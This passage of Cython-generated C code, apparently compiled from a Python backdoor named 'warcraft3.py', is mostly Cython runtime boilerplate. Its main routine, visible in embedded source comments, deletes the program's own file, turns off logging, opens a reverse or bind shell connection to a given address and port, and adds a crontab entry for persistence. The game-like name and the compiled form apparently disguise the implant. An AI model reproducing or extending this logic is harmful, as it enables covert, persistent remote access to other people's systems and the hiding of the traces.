  4307. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2);
  4308. __Pyx_INCREF(__pyx_t_1);
  4309. __Pyx_INCREF(function);
  4310. __Pyx_DECREF_SET(__pyx_t_2, function);
  4311. }
  4312. }
  4313. if (__pyx_t_1) {
  4314. __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 91, __pyx_L1_error)
  4315. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  4316. } else {
  4317. __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 91, __pyx_L1_error)
  4318. }
  4319. __Pyx_GOTREF(__pyx_t_4);
  4320. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4321. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  4322. /* "warcraft3.py":92
  4323. * deleteSelf()
  4324. * unsetLog()
  4325. * if options.reverse: # <<<<<<<<<<<<<<
  4326. * ReserveConnect(options.addr, int(options.port))
  4327. * elif options.bind:
  4328. */
  4329. __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_options); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 92, __pyx_L1_error)
  4330. __Pyx_GOTREF(__pyx_t_4);
  4331. __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_reverse_2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 92, __pyx_L1_error)
  4332. __Pyx_GOTREF(__pyx_t_2);
  4333. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  4334. __pyx_t_3 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_3 < 0)) __PYX_ERR(0, 92, __pyx_L1_error)
  4335. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4336. if (__pyx_t_3) {
  4337. /* "warcraft3.py":93
  4338. * unsetLog()
  4339. * if options.reverse:
  4340. * ReserveConnect(options.addr, int(options.port)) # <<<<<<<<<<<<<<
  4341. * elif options.bind:
  4342. * BindConnect(options.addr, int(options.port))
  4343. */
  4344. __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_ReserveConnect); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 93, __pyx_L1_error)
  4345. __Pyx_GOTREF(__pyx_t_4);
  4346. __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_options); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error)
  4347. __Pyx_GOTREF(__pyx_t_1);
  4348. __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_addr); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 93, __pyx_L1_error)
  4349. __Pyx_GOTREF(__pyx_t_5);
  4350. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  4351. __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_options); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error)
  4352. __Pyx_GOTREF(__pyx_t_1);
  4353. __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_port); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 93, __pyx_L1_error)
  4354. __Pyx_GOTREF(__pyx_t_7);
  4355. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  4356. __pyx_t_1 = __Pyx_PyNumber_Int(__pyx_t_7); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 93, __pyx_L1_error)
  4357. __Pyx_GOTREF(__pyx_t_1);
  4358. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  4359. __pyx_t_7 = NULL;
  4360. __pyx_t_8 = 0;
  4361. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) {
  4362. __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_4);
  4363. if (likely(__pyx_t_7)) {
  4364. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4);
  4365. __Pyx_INCREF(__pyx_t_7);
  4366. __Pyx_INCREF(function);
  4367. __Pyx_DECREF_SET(__pyx_t_4, function);
  4368. __pyx_t_8 = 1;
  4369. }
  4370. }
  4371. #if CYTHON_FAST_PYCALL
  4372. if (PyFunction_Check(__pyx_t_4)) {
  4373. PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_5, __pyx_t_1};
  4374. __pyx_t_2 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 93, __pyx_L1_error)
  4375. __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0;
  4376. __Pyx_GOTREF(__pyx_t_2);
  4377. __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  4378. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  4379. } else
  4380. #endif
  4381. #if CYTHON_FAST_PYCCALL
  4382. if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) {
  4383. PyObject *__pyx_temp[3] = {__pyx_t_7, __pyx_t_5, __pyx_t_1};
  4384. __pyx_t_2 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 93, __pyx_L1_error)
  4385. __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0;
  4386. __Pyx_GOTREF(__pyx_t_2);
  4387. __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  4388. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  4389. } else
  4390. #endif
  4391. {
  4392. __pyx_t_9 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 93, __pyx_L1_error)
  4393. __Pyx_GOTREF(__pyx_t_9);
  4394. if (__pyx_t_7) {
  4395. __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_9, 0, __pyx_t_7); __pyx_t_7 = NULL;
  4396. }
  4397. __Pyx_GIVEREF(__pyx_t_5);
  4398. PyTuple_SET_ITEM(__pyx_t_9, 0+__pyx_t_8, __pyx_t_5);
  4399. __Pyx_GIVEREF(__pyx_t_1);
  4400. PyTuple_SET_ITEM(__pyx_t_9, 1+__pyx_t_8, __pyx_t_1);
  4401. __pyx_t_5 = 0;
  4402. __pyx_t_1 = 0;
  4403. __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_9, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 93, __pyx_L1_error)
  4404. __Pyx_GOTREF(__pyx_t_2);
  4405. __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
  4406. }
  4407. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  4408. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4409. /* "warcraft3.py":92
  4410. * deleteSelf()
  4411. * unsetLog()
  4412. * if options.reverse: # <<<<<<<<<<<<<<
  4413. * ReserveConnect(options.addr, int(options.port))
  4414. * elif options.bind:
  4415. */
  4416. goto __pyx_L5;
  4417. }
  4418. /* "warcraft3.py":94
  4419. * if options.reverse:
  4420. * ReserveConnect(options.addr, int(options.port))
  4421. * elif options.bind: # <<<<<<<<<<<<<<
  4422. * BindConnect(options.addr, int(options.port))
  4423. * #clearLog()
  4424. */
  4425. __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_options); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 94, __pyx_L1_error)
  4426. __Pyx_GOTREF(__pyx_t_2);
  4427. __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_bind); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 94, __pyx_L1_error)
  4428. __Pyx_GOTREF(__pyx_t_4);
  4429. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4430. __pyx_t_3 = __Pyx_PyObject_IsTrue(__pyx_t_4); if (unlikely(__pyx_t_3 < 0)) __PYX_ERR(0, 94, __pyx_L1_error)
  4431. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  4432. if (__pyx_t_3) {
  4433. /* "warcraft3.py":95
  4434. * ReserveConnect(options.addr, int(options.port))
  4435. * elif options.bind:
  4436. * BindConnect(options.addr, int(options.port)) # <<<<<<<<<<<<<<
  4437. * #clearLog()
  4438. * appendCrontab()
  4439. */
  4440. __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_BindConnect); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 95, __pyx_L1_error)
  4441. __Pyx_GOTREF(__pyx_t_2);
  4442. __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_options); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 95, __pyx_L1_error)
  4443. __Pyx_GOTREF(__pyx_t_9);
  4444. __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_addr); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 95, __pyx_L1_error)
  4445. __Pyx_GOTREF(__pyx_t_1);
  4446. __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
  4447. __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_options); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 95, __pyx_L1_error)
  4448. __Pyx_GOTREF(__pyx_t_9);
  4449. __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_port); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 95, __pyx_L1_error)
  4450. __Pyx_GOTREF(__pyx_t_5);
  4451. __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
  4452. __pyx_t_9 = __Pyx_PyNumber_Int(__pyx_t_5); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 95, __pyx_L1_error)
  4453. __Pyx_GOTREF(__pyx_t_9);
  4454. __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  4455. __pyx_t_5 = NULL;
  4456. __pyx_t_8 = 0;
  4457. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) {
  4458. __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2);
  4459. if (likely(__pyx_t_5)) {
  4460. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2);
  4461. __Pyx_INCREF(__pyx_t_5);
  4462. __Pyx_INCREF(function);
  4463. __Pyx_DECREF_SET(__pyx_t_2, function);
  4464. __pyx_t_8 = 1;
  4465. }
  4466. }
  4467. #if CYTHON_FAST_PYCALL
  4468. if (PyFunction_Check(__pyx_t_2)) {
  4469. PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_1, __pyx_t_9};
  4470. __pyx_t_4 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 95, __pyx_L1_error)
  4471. __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0;
  4472. __Pyx_GOTREF(__pyx_t_4);
  4473. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  4474. __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
  4475. } else
  4476. #endif
  4477. #if CYTHON_FAST_PYCCALL
  4478. if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) {
  4479. PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_1, __pyx_t_9};
  4480. __pyx_t_4 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 95, __pyx_L1_error)
  4481. __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0;
  4482. __Pyx_GOTREF(__pyx_t_4);
  4483. __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
  4484. __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
  4485. } else
  4486. #endif
  4487. {
  4488. __pyx_t_7 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 95, __pyx_L1_error)
  4489. __Pyx_GOTREF(__pyx_t_7);
  4490. if (__pyx_t_5) {
  4491. __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_5); __pyx_t_5 = NULL;
  4492. }
  4493. __Pyx_GIVEREF(__pyx_t_1);
  4494. PyTuple_SET_ITEM(__pyx_t_7, 0+__pyx_t_8, __pyx_t_1);
  4495. __Pyx_GIVEREF(__pyx_t_9);
  4496. PyTuple_SET_ITEM(__pyx_t_7, 1+__pyx_t_8, __pyx_t_9);
  4497. __pyx_t_1 = 0;
  4498. __pyx_t_9 = 0;
  4499. __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_7, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 95, __pyx_L1_error)
  4500. __Pyx_GOTREF(__pyx_t_4);
  4501. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  4502. }
  4503. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4504. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  4505. /* "warcraft3.py":94
  4506. * if options.reverse:
  4507. * ReserveConnect(options.addr, int(options.port))
  4508. * elif options.bind: # <<<<<<<<<<<<<<
  4509. * BindConnect(options.addr, int(options.port))
  4510. * #clearLog()
  4511. */
  4512. }
  4513. __pyx_L5:;
  4514. /* "warcraft3.py":97
  4515. * BindConnect(options.addr, int(options.port))
  4516. * #clearLog()
  4517. * appendCrontab() # <<<<<<<<<<<<<<
  4518. */
  4519. __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_appendCrontab); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 97, __pyx_L1_error)
  4520. __Pyx_GOTREF(__pyx_t_2);
  4521. __pyx_t_7 = NULL;
  4522. if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) {
  4523. __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_2);
  4524. if (likely(__pyx_t_7)) {
  4525. PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2);
  4526. __Pyx_INCREF(__pyx_t_7);
  4527. __Pyx_INCREF(function);
  4528. __Pyx_DECREF_SET(__pyx_t_2, function);
  4529. }
  4530. }
  4531. if (__pyx_t_7) {
  4532. __pyx_t_4 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_7); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 97, __pyx_L1_error)
  4533. __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
  4534. } else {
  4535. __pyx_t_4 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 97, __pyx_L1_error)
  4536. }
  4537. __Pyx_GOTREF(__pyx_t_4);
  4538. __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0;
  4539. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  4540. /* "warcraft3.py":82
  4541. *
  4542. * #
  4543. * if __name__ == "__main__": # <<<<<<<<<<<<<<
  4544. * SingletonRunning()
  4545. * optParser = OptionParser()
  4546. */
  4547. }
  4548. /* "warcraft3.py":1
  4549. * # -*- coding:utf-8 -*- # <<<<<<<<<<<<<<
  4550. *
  4551. *
  4552. */
  4553. __pyx_t_4 = PyDict_New(); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 1, __pyx_L1_error)
  4554. __Pyx_GOTREF(__pyx_t_4);
  4555. if (PyDict_SetItem(__pyx_d, __pyx_n_s_test, __pyx_t_4) < 0) __PYX_ERR(0, 1, __pyx_L1_error)
  4556. __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0;
  4557. /*--- Wrapped vars code ---*/
  4558. goto __pyx_L0;
  4559. __pyx_L1_error:;
  4560. __Pyx_XDECREF(__pyx_t_1);
  4561. __Pyx_XDECREF(__pyx_t_2);
  4562. __Pyx_XDECREF(__pyx_t_4);
  4563. __Pyx_XDECREF(__pyx_t_5);
  4564. __Pyx_XDECREF(__pyx_t_7);
  4565. __Pyx_XDECREF(__pyx_t_9);
  4566. if (__pyx_m) {
  4567. if (__pyx_d) {
  4568. __Pyx_AddTraceback("init warcraft3", 0, __pyx_lineno, __pyx_filename);
  4569. }
  4570. Py_DECREF(__pyx_m); __pyx_m = 0;
  4571. } else if (!PyErr_Occurred()) {
  4572. PyErr_SetString(PyExc_ImportError, "init warcraft3");
  4573. }
  4574. __pyx_L0:;
  4575. __Pyx_RefNannyFinishContext();
  4576. #if PY_MAJOR_VERSION < 3
  4577. return;
  4578. #else
  4579. return __pyx_m;
  4580. #endif
  4581. }
  4582. /* --- Runtime support code --- */
  4583. /* Refnanny */
  4584. #if CYTHON_REFNANNY
  4585. static __Pyx_RefNannyAPIStruct *__Pyx_RefNannyImportAPI(const char *modname) {
  4586. PyObject *m = NULL, *p = NULL;
  4587. void *r = NULL;
  4588. m = PyImport_ImportModule((char *)modname);
  4589. if (!m) goto end;
  4590. p = PyObject_GetAttrString(m, (char *)"RefNannyAPI");
  4591. if (!p) goto end;
  4592. r = PyLong_AsVoidPtr(p);
  4593. end:
  4594. Py_XDECREF(p);
  4595. Py_XDECREF(m);
  4596. return (__Pyx_RefNannyAPIStruct *)r;
  4597. }
  4598. #endif
  4599. /* GetBuiltinName */
  4600. static PyObject *__Pyx_GetBuiltinName(PyObject *name) {
  4601. PyObject* result = __Pyx_PyObject_GetAttrStr(__pyx_b, name);
  4602. if (unlikely(!result)) {
  4603. PyErr_Format(PyExc_NameError,
  4604. #if PY_MAJOR_VERSION >= 3
  4605. "name '%U' is not defined", name);
  4606. #else
  4607. "name '%.200s' is not defined", PyString_AS_STRING(name));
  4608. #endif
  4609. }
  4610. return result;
  4611. }
  4612. /* RaiseArgTupleInvalid */
  4613. static void __Pyx_RaiseArgtupleInvalid(
  4614. const char* func_name,
  4615. int exact,
  4616. Py_ssize_t num_min,
  4617. Py_ssize_t num_max,
  4618. Py_ssize_t num_found)
  4619. {
  4620. Py_ssize_t num_expected;
  4621. const char *more_or_less;
  4622. if (num_found < num_min) {
  4623. num_expected = num_min;
  4624. more_or_less = "at least";
  4625. } else {
  4626. num_expected = num_max;
  4627. more_or_less = "at most";
  4628. }
  4629. if (exact) {
  4630. more_or_less = "exactly";
  4631. }
  4632. PyErr_Format(PyExc_TypeError,
  4633. "%.200s() takes %.8s %" CYTHON_FORMAT_SSIZE_T "d positional argument%.1s (%" CYTHON_FORMAT_SSIZE_T "d given)",
  4634. func_name, more_or_less, num_expected,
  4635. (num_expected == 1) ? "" : "s", num_found);
  4636. }
  4637. /* RaiseDoubleKeywords */
  4638. static void __Pyx_RaiseDoubleKeywordsError(
  4639. const char* func_name,
  4640. PyObject* kw_name)
  4641. {
  4642. PyErr_Format(PyExc_TypeError,
  4643. #if PY_MAJOR_VERSION >= 3
  4644. "%s() got multiple values for keyword argument '%U'", func_name, kw_name);
  4645. #else
  4646. "%s() got multiple values for keyword argument '%s'", func_name,
  4647. PyString_AsString(kw_name));
  4648. #endif
  4649. }
  4650. /* ParseKeywords */
  4651. static int __Pyx_ParseOptionalKeywords(
  4652. PyObject *kwds,
  4653. PyObject **argnames[],
  4654. PyObject *kwds2,
  4655. PyObject *values[],
  4656. Py_ssize_t num_pos_args,
  4657. const char* function_name)
  4658. {
  4659. PyObject *key = 0, *value = 0;
  4660. Py_ssize_t pos = 0;
  4661. PyObject*** name;
  4662. PyObject*** first_kw_arg = argnames + num_pos_args;
  4663. while (PyDict_Next(kwds, &pos, &key, &value)) {
  4664. name = first_kw_arg;
  4665. while (*name && (**name != key)) name++;
  4666. if (*name) {
  4667. values[name-argnames] = value;
  4668. continue;
  4669. }
  4670. name = first_kw_arg;
  4671. #if PY_MAJOR_VERSION < 3
  4672. if (likely(PyString_CheckExact(key)) || likely(PyString_Check(key))) {
  4673. while (*name) {
  4674. if ((CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**name) == PyString_GET_SIZE(key))
  4675. && _PyString_Eq(**name, key)) {
  4676. values[name-argnames] = value;
  4677. break;
  4678. }
  4679. name++;
  4680. }
  4681. if (*name) continue;
  4682. else {
  4683. PyObject*** argname = argnames;
  4684. while (argname != first_kw_arg) {
  4685. if ((**argname == key) || (
  4686. (CYTHON_COMPILING_IN_PYPY || PyString_GET_SIZE(**argname) == PyString_GET_SIZE(key))
  4687. && _PyString_Eq(**argname, key))) {
  4688. goto arg_passed_twice;
  4689. }
  4690. argname++;
  4691. }
  4692. }
  4693. } else
  4694. #endif
  4695. if (likely(PyUnicode_Check(key))) {
  4696. while (*name) {
  4697. int cmp = (**name == key) ? 0 :
  4698. #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3
  4699. (PyUnicode_GET_SIZE(**name) != PyUnicode_GET_SIZE(key)) ? 1 :
  4700. #endif
  4701. PyUnicode_Compare(**name, key);
  4702. if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad;
  4703. if (cmp == 0) {
  4704. values[name-argnames] = value;
  4705. break;
  4706. }
  4707. name++;
  4708. }
  4709. if (*name) continue;
  4710. else {
  4711. PyObject*** argname = argnames;
  4712. while (argname != first_kw_arg) {
  4713. int cmp = (**argname == key) ? 0 :
  4714. #if !CYTHON_COMPILING_IN_PYPY && PY_MAJOR_VERSION >= 3
  4715. (PyUnicode_GET_SIZE(**argname) != PyUnicode_GET_SIZE(key)) ? 1 :
  4716. #endif
  4717. PyUnicode_Compare(**argname, key);
  4718. if (cmp < 0 && unlikely(PyErr_Occurred())) goto bad;
  4719. if (cmp == 0) goto arg_passed_twice;
  4720. argname++;
  4721. }
  4722. }
  4723. } else
  4724. goto invalid_keyword_type;
  4725. if (kwds2) {
  4726. if (unlikely(PyDict_SetItem(kwds2, key, value))) goto bad;
  4727. } else {
  4728. goto invalid_keyword;
  4729. }
  4730. }
  4731. return 0;
  4732. arg_passed_twice:
  4733. __Pyx_RaiseDoubleKeywordsError(function_name, key);
  4734. goto bad;
  4735. invalid_keyword_type:
  4736. PyErr_Format(PyExc_TypeError,
  4737. "%.200s() keywords must be strings", function_name);
  4738. goto bad;
  4739. invalid_keyword:
  4740. PyErr_Format(PyExc_TypeError,
  4741. #if PY_MAJOR_VERSION < 3
  4742. "%.200s() got an unexpected keyword argument '%.200s'",
  4743. function_name, PyString_AsString(key));
  4744. #else
  4745. "%s() got an unexpected keyword argument '%U'",
  4746. function_name, key);
  4747. #endif
  4748. bad:
  4749. return -1;
  4750. }
  4751. /* GetModuleGlobalName */
  4752. static CYTHON_INLINE PyObject *__Pyx_GetModuleGlobalName(PyObject *name) {
  4753. PyObject *result;
  4754. #if !CYTHON_AVOID_BORROWED_REFS
  4755. result = PyDict_GetItem(__pyx_d, name);
  4756. if (likely(result)) {
  4757. Py_INCREF(result);
  4758. } else {
  4759. #else
  4760. result = PyObject_GetItem(__pyx_d, name);
  4761. if (!result) {
  4762. PyErr_Clear();
  4763. #endif
  4764. result = __Pyx_GetBuiltinName(name);
  4765. }
  4766. return result;
  4767. }
  4768. /* PyFunctionFastCall */
  4769. #if CYTHON_FAST_PYCALL
  4770. #include "frameobject.h"
  4771. static PyObject* __Pyx_PyFunction_FastCallNoKw(PyCodeObject *co, PyObject **args, Py_ssize_t na,
  4772. PyObject *globals) {
  4773. PyFrameObject *f;
  4774. PyThreadState *tstate = PyThreadState_GET();
  4775. PyObject **fastlocals;
  4776. Py_ssize_t i;
  4777. PyObject *result;
  4778. assert(globals != NULL);
  4779. /* XXX Perhaps we should create a specialized
  4780. PyFrame_New() that doesn't take locals, but does
  4781. take builtins without sanity checking them.
  4782. */
  4783. assert(tstate != NULL);
  4784. f = PyFrame_New(tstate, co, globals, NULL);
  4785. if (f == NULL) {
  4786. return NULL;
  4787. }
  4788. fastlocals = f->f_localsplus;
  4789. for (i = 0; i < na; i++) {
  4790. Py_INCREF(*args);
  4791. fastlocals[i] = *args++;
  4792. }
  4793. result = PyEval_EvalFrameEx(f,0);
  4794. ++tstate->recursion_depth;
  4795. Py_DECREF(f);
  4796. --tstate->recursion_depth;
  4797. return result;
  4798. }
  4799. #if 1 || PY_VERSION_HEX < 0x030600B1
  4800. static PyObject *__Pyx_PyFunction_FastCallDict(PyObject *func, PyObject **args, int nargs, PyObject *kwargs) {
  4801. PyCodeObject *co = (PyCodeObject *)PyFunction_GET_CODE(func);
  4802. PyObject *globals = PyFunction_GET_GLOBALS(func);
  4803. PyObject *argdefs = PyFunction_GET_DEFAULTS(func);
  4804. PyObject *closure;
  4805. #if PY_MAJOR_VERSION >= 3
  4806. PyObject *kwdefs;
  4807. #endif
  4808. PyObject *kwtuple, **k;
  4809. PyObject **d;
  4810. Py_ssize_t nd;
  4811. Py_ssize_t nk;
  4812. PyObject *result;
  4813. assert(kwargs == NULL || PyDict_Check(kwargs));
  4814. nk = kwargs ? PyDict_Size(kwargs) : 0;
  4815. if (Py_EnterRecursiveCall((char*)" while calling a Python object")) {
  4816. return NULL;
  4817. }
  4818. if (
  4819. #if PY_MAJOR_VERSION >= 3
  4820. co->co_kwonlyargcount == 0 &&
  4821. #endif
  4822. likely(kwargs == NULL || nk == 0) &&
  4823. co->co_flags == (CO_OPTIMIZED | CO_NEWLOCALS | CO_NOFREE)) {
  4824. if (argdefs == NULL && co->co_argcount == nargs) {
  4825. result = __Pyx_PyFunction_FastCallNoKw(co, args, nargs, globals);
  4826. goto done;
  4827. }
  4828. else if (nargs == 0 && argdefs != NULL
  4829. && co->co_argcount == Py_SIZE(argdefs)) {
  4830. /* function called with no arguments, but all parameters have
  4831. a default value: use default values as arguments .*/
  4832. args = &PyTuple_GET_ITEM(argdefs, 0);
  4833. result =__Pyx_PyFunction_FastCallNoKw(co, args, Py_SIZE(argdefs), globals);
  4834. goto done;
  4835. }
  4836. }
  4837. if (kwargs != NULL) {
  4838. Py_ssize_t pos, i;
  4839. kwtuple = PyTuple_New(2 * nk);
  4840. if (kwtuple == NULL) {
  4841. result = NULL;
  4842. goto done;
  4843. }
  4844. k = &PyTuple_GET_ITEM(kwtuple, 0);
  4845. pos = i = 0;
  4846. while (PyDict_Next(kwargs, &pos, &k[i], &k[i+1])) {
  4847. Py_INCREF(k[i]);
  4848. Py_INCREF(k[i+1]);
  4849. i += 2;
  4850. }
  4851. nk = i / 2;
  4852. }
  4853. else {
  4854. kwtuple = NULL;
  4855. k = NULL;
  4856. }
  4857. closure = PyFunction_GET_CLOSURE(func);
  4858. #if PY_MAJOR_VERSION >= 3
  4859. kwdefs = PyFunction_GET_KW_DEFAULTS(func);
  4860. #endif
  4861. if (argdefs != NULL) {
  4862. d = &PyTuple_GET_ITEM(argdefs, 0);
  4863. nd = Py_SIZE(argdefs);
  4864. }
  4865. else {
  4866. d = NULL;
  4867. nd = 0;
  4868. }
  4869. #if PY_MAJOR_VERSION >= 3
  4870. result = PyEval_EvalCodeEx((PyObject*)co, globals, (PyObject *)NULL,
  4871. args, nargs,
  4872. k, (int)nk,
  4873. d, (int)nd, kwdefs, closure);
  4874. #else
  4875. result = PyEval_EvalCodeEx(co, globals, (PyObject *)NULL,
  4876. args, nargs,
  4877. k, (int)nk,
  4878. d, (int)nd, closure);
  4879. #endif
  4880. Py_XDECREF(kwtuple);
  4881. done:
  4882. Py_LeaveRecursiveCall();
  4883. return result;
  4884. }
  4885. #endif
  4886. #endif
  4887. /* PyCFunctionFastCall */
  4888. #if CYTHON_FAST_PYCCALL
  4889. static CYTHON_INLINE PyObject * __Pyx_PyCFunction_FastCall(PyObject *func_obj, PyObject **args, Py_ssize_t nargs) {
  4890. PyCFunctionObject *func = (PyCFunctionObject*)func_obj;
  4891. PyCFunction meth = PyCFunction_GET_FUNCTION(func);
  4892. PyObject *self = PyCFunction_GET_SELF(func);
  4893. int flags = PyCFunction_GET_FLAGS(func);
  4894. assert(PyCFunction_Check(func));
  4895. assert(METH_FASTCALL == (flags & ~(METH_CLASS | METH_STATIC | METH_COEXIST | METH_KEYWORDS)));
  4896. assert(nargs >= 0);
  4897. assert(nargs == 0 || args != NULL);
  4898. /* _PyCFunction_FastCallDict() must not be called with an exception set,
  4899. because it may clear it (directly or indirectly) and so the
  4900. caller loses its exception */
  4901. assert(!PyErr_Occurred());
  4902. if ((PY_VERSION_HEX < 0x030700A0) || unlikely(flags & METH_KEYWORDS)) {
  4903. return (*((__Pyx_PyCFunctionFastWithKeywords)meth)) (self, args, nargs, NULL);
  4904. } else {
  4905. return (*((__Pyx_PyCFunctionFast)meth)) (self, args, nargs);
  4906. }
  4907. }
  4908. #endif
  4909. /* PyObjectCall */
  4910. #if CYTHON_COMPILING_IN_CPYTHON
  4911. static CYTHON_INLINE PyObject* __Pyx_PyObject_Call(PyObject *func, PyObject *arg, PyObject *kw) {
  4912. PyObject *result;
  4913. ternaryfunc call = func->ob_type->tp_call;
  4914. if (unlikely(!call))
  4915. return PyObject_Call(func, arg, kw);
  4916. if (unlikely(Py_EnterRecursiveCall((char*)" while calling a Python object")))
  4917. return NULL;
  4918. result = (*call)(func, arg, kw);
  4919. Py_LeaveRecursiveCall();
  4920. if (unlikely(!result) && unlikely(!PyErr_Occurred())) {
  4921. PyErr_SetString(
  4922. PyExc_SystemError,
